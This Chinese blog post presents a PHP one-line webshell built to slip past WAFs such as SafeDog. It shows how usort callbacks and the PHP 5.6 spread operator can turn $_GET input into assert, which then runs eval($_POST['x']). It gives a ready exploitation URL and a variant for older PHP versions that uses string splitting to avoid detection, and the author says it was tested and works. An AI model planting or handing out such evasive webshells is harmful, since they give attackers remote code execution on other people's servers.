php免杀一句话能秒99%的waf防火墙
开始
原谅我见识短,没用过usort函数
上面连接的文章中,发现有这个函数
于是刚刚了解了下usort函数
usort函数干嘛的?
官方介绍:http://php.net/manual/zh/function.usort.php
通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便
所以用户可以自己定义一个函数,然后使用usort函数来进行回调
1 2 3 4 5 6 7 8 9 10 | <?php function my_sort($a,$b){ if ($a==$b){ return 0; }else{ return ($a<$b)?-1:1; } } $list = array(4,2,8,6); usort($list,'my_sort'); |
第一个参数必须是数组
第二个参数是函数名称
usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参
然后php会判断my_sort函数的返回值
如果为0,则位置不变
如果为-1.则$a位置和$b不变
如果为1,则$a位置和$b互换
有趣的来了
开始里面的文章中,讲到了一个php5.6的新特性
…运算符,对就是三个点
官方介绍:http://php.net/manual/zh/migration56.new-features.php
该运算符可以将数组或者可遍历的对象展开变为参数
不过必须是索引数组哦~~~
举个栗子
1 2 3 4 5 | <?php $list = [1,2,3]; var_dump($list); echo "========\n";// var_dump(...$list); |
返回结果如下
1 2 3 4 5 6 7 8 9 10 11 12 | array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3) } ======== int(1) int(2) int(3) |
编写一句话
先放出最终的代码
1 | <?php usort(...$_GET);?> |
那么$_GET变量中的值,应该是
1 | [['$a=0','eval($_POST["x"])'],'assert']; |
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
也就相当于
1 | <?php usort(['$a=0','eval($_POST["x"])'],'assert');?> |
最终利用是这样的
1 | http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert |
我自己本地环境测试成功了~~~
应该能过什么安全狗啊啥的
上面的一句话,只能在php环境>=5.6才能用
于是更新下,环境>=<5.6都可以的一句话
1 | <?php usort($_GET,'asse'.'rt');?> |
使用方法
温馨提示:本文最后更新于2018年11月16日 12:59,若内容或图片失效,请在下方留言或联系博主。